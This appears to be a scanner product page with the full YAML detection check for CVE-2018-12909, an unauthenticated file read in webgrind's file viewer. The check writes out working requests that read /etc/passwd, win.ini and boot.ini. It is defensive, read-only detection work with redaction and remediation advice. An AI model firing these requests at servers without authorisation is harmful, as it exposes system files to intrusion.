webgrind — 1 vulnerability check
noctis ships 1 vulnerability check for webgrind, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
webgrind fileviewer Arbitrary File Read
| CVE | CVE-2018-12909 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/webgrind/CVE-2018-12909.yaml |
Tests webgrind, the Xdebug profiling web front-end, for the unauthenticated local file read of its file viewer (versions before 1.8.0, or later versions configured to expose every file). After confirming the webgrind page under /webgrind, the web root or /webgrind-master, the feed requests index.php?op=fileviewer&file=/etc/passwd (or c:/windows/win.ini and c:/boot.ini on Windows). The content of the system file in the reply confirms the file read. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; the passwd password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/index.php - Checks
page_r.bodyfor(?i)<title>\s*webgrind\s*</title> - HTTP(S) request
GET {{dir}}/index.php?op=fileviewer&file=/etc/passwd - Checks
passwd_r.bodyfor(?:^|[\s>;])(root|daemon|bin):[^:<\r\n]*:(0:[01]|[12]:[12]):([^:<\r\n… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?op=fileviewer&file=c:/windows/win.ini - Checks
winini_r.bodyfor(?i)(;(?:\s| )for(?:\s| )16-bit(?:\s| )app(?:\s| … - HTTP(S) request
GET {{dir}}/index.php?op=fileviewer&file=c:/boot.ini - Checks
bootini_r.bodyfor(?i)\[boot(?:\s| )loader\] - HTTP(S) request
GET {{dir}}/index.php?op=fileviewer&file=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob… - Checks
ctrl_r.bodyfor(?i)((?:^|[\s>;])(?:root|daemon|bin):[^:<\r\n]*:(?:0:[01]|[12]:[12]):… - Checks
lin_prooffor^(root|daemon|bin):<redacted>:→ finding QoD 75: webgrind fileviewer Arbitrary File Read (CVE-2018-12909) - Checks
win_filefor^c:/(windows/win\.ini|boot\.ini)$→ finding QoD 75: webgrind fileviewer Arbitrary File Read (CVE-2018-12909)
References:
Feed source — tests/vulnerabilities/webgrind/CVE-2018-12909.yaml
# webgrind fileviewer arbitrary local file read — CVE-2018-12909
#
# webgrind (Xdebug profiling front-end) 0.6 up to 1.7.x serves
# index.php?op=fileviewer&file=<path>
# with no access control: index.php only checks file_exists()/is_readable()
# and templates/fileviewer.phtml prints highlight_file($file), so any file
# the web server can read is returned, syntax-highlighted as HTML. webgrind
# 1.8.0 routes the path through Webgrind_Config::exposeServerFile(), which
# denies every file by default ("<file> is not readable. Modify
# exposeServerFile() ..."). An install whose config.php grants all files
# again stays readable and is reported.
#
# Detection (benign, read-only): for each install dir (/webgrind, the web
# root, /webgrind-master), confirm the webgrind index page
# (<title>webgrind</title>), then request the fileviewer for /etc/passwd —
# or c:/windows/win.ini, then c:/boot.ini on Windows — and match the file
# CONTENT (root:...:0:0:, "; for 16-bit app support" / "[fonts]",
# "[boot loader]"). highlight_file() splits lines with "<br />" (PHP < 8.3)
# or newlines (PHP 8.3), so the passwd regex is not line-anchored and stops
# fields at "<". The 1.5–1.7 template strips a fixed 36-character prefix
# from highlight_file()'s output, which on PHP 8.3 (34-character prefix)
# eats the first two characters of the file ("ot:x:0:0:..."), so the passwd
# match also accepts the standard daemon/bin lines (uid 1 or 2). PHP < 8.3
# also turns every space into " ", so "[boot loader]" and "; for 16-bit
# app support" accept either form.
# QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - A control request (same fileviewer, absent random file) must come back
# WITHOUT any file signature; a server that returns the same file on every
# request is not reported (fail-closed: no control reply → no finding).
# The absent name contains etc/passwd, win.ini and boot.ini, so a honeypot
# keying a fake file on those substrings is caught too.
# - Windows files are drive-qualified (c:/windows/win.ini, c:/boot.ini).
# - the password field of the matched /etc/passwd line is redacted before it can reach
# the finding (only gecos:home:shell are kept).
# - Also tries /webgrind-master (GitHub archive name).
#
# CVEs: the source plugin cites CVE-2011-3047, which NVD records as a Google
# Chrome GPU-process bug (unrelated). The webgrind fileviewer file read is
# CVE-2018-12909 (NVD CVSS v3.0 7.5; NVD lists 1.5.0, the same code ships from
# 0.6 to 1.7.x), so that is the only CVE this feed names.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_webgrind_lfi_02_2012.nasl
# (GPL-2.0-only). Vulnerable/fixed code: jokkedk/webgrind index.php and
# templates/fileviewer.phtml at tags 1.0 / v1.7.0 vs v1.8.0.
uid: 7f6a2518-107e-47f1-a629-3715fc661a41
name: "webgrind fileviewer Arbitrary File Read (CVE-2018-12909)"
description: |
Tests webgrind, the Xdebug profiling web front-end, for the unauthenticated
local file read of its file viewer (versions before 1.8.0, or later
versions configured to expose every file). After confirming the webgrind
page under /webgrind, the web root or /webgrind-master, the feed requests
index.php?op=fileviewer&file=/etc/passwd (or c:/windows/win.ini and
c:/boot.ini on Windows). The content of the system file in the reply
confirms the file read. A control request for an absent random file must not
return any of these files, so a server that serves the same content on every
request is not reported. Only world-readable system files are read; the
passwd password field is redacted from the evidence.
cves: [CVE-2018-12909]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [webgrind, xdebug, lfi, file-read, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-12909"
- "https://github.com/jokkedk/webgrind/issues/112"
# OpenVAS/Greenbone NASL 2012/gb_webgrind_lfi_02_2012.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-page-r
action: set_var
var_name: page_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/webgrind", "", "/webgrind-master"]
- id: init-is-webgrind
action: set_var
var_name: is_webgrind
var_value: false
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── webgrind index page ──────────────────────────────────────────────────
- id: index
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page_r
- id: index-marker
action: match
source: page_r.body
pattern: "(?i)<title>\\s*webgrind\\s*</title>"
on_match:
set_vars:
is_webgrind: true
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/index.php?op=fileviewer&file=/etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "is_webgrind == true"
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
# Lines end in "<br />" (PHP < 8.3) or a newline, and may sit inside <span>s.
# root's line, or daemon/bin when the 1.5+ template cut root's first chars.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?:^|[\\s>;])(root|daemon|bin):[^:<\\r\\n]*:(0:[01]|[12]:[12]):([^:<\\r\\n]*:[^:<\\r\\n]*:[^:<\\r\\n]*)"
condition: "is_webgrind == true"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
passwd_m.captures[0] + ":<redacted>:" + passwd_m.captures[1] + ":" + passwd_m.captures[2]
} else { "" }
condition: "is_webgrind == true"
store_as: lin_proof
# ── Windows: c:/windows/win.ini, then c:/boot.ini (older Windows) ────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/index.php?op=fileviewer&file=c:/windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'is_webgrind == true && lin_proof == ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(;(?:\\s| )for(?:\\s| )16-bit(?:\\s| )app(?:\\s| )support|\\[fonts\\])"
condition: 'is_webgrind == true && lin_proof == ""'
on_match:
set_vars:
win_file: "c:/windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/index.php?op=fileviewer&file=c:/boot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'is_webgrind == true && lin_proof == "" && win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot(?:\\s| )loader\\]"
condition: 'is_webgrind == true && lin_proof == "" && win_file == ""'
on_match:
set_vars:
win_file: "c:/boot.ini"
# ── Control: same fileviewer, absent random file — must NOT carry a file ─
# The absent name still contains etc/passwd, win.ini and boot.ini, so a
# honeypot that keys a fake file on those substrings answers it too. The
# page echoes the requested name, which holds none of the content markers.
- id: control
action: http_request
method: GET
path: "{{dir}}/index.php?op=fileviewer&file=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?i)((?:^|[\\s>;])(?:root|daemon|bin):[^:<\\r\\n]*:(?:0:[01]|[12]:[12]):|;(?:\\s| )for(?:\\s| )16-bit(?:\\s| )app(?:\\s| )support|\\[fonts\\]|\\[boot(?:\\s| )loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^(root|daemon|bin):<redacted>:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "webgrind fileviewer Arbitrary File Read (CVE-2018-12909)"
description: "An unauthenticated request to webgrind's index.php?op=fileviewer&file=/etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not."
remediation: "Upgrade webgrind to 1.8.0 or later and keep Webgrind_Config::exposeServerFile() denying access, and never expose webgrind on a reachable web server (restrict it to localhost or behind authentication)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/index.php?op=fileviewer&file=/etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^c:/(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "webgrind fileviewer Arbitrary File Read (CVE-2018-12909)"
description: "An unauthenticated request to webgrind's index.php?op=fileviewer with a Windows system file path returned that file's content, while the same request for an absent file did not."
remediation: "Upgrade webgrind to 1.8.0 or later and keep Webgrind_Config::exposeServerFile() denying access, and never expose webgrind on a reachable web server (restrict it to localhost or behind authentication)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/index.php?op=fileviewer&file={{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true